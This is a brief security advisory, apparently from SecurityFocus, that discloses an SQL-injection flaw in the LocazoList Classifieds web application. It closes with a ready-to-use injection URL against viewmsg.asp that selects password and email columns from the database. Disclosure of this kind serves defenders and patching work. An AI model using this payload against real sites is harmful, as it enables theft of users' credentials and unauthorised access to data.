source: http://www.securityfocus.com/bid/18254/info

LocazoList Classifieds is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/[path]/viewmsg.asp?msgid=-1%20union%20select%20epass,0,0,0,email,0,0,0,0,0,0,0,0,0,0%20from%20thing+where+msgid=X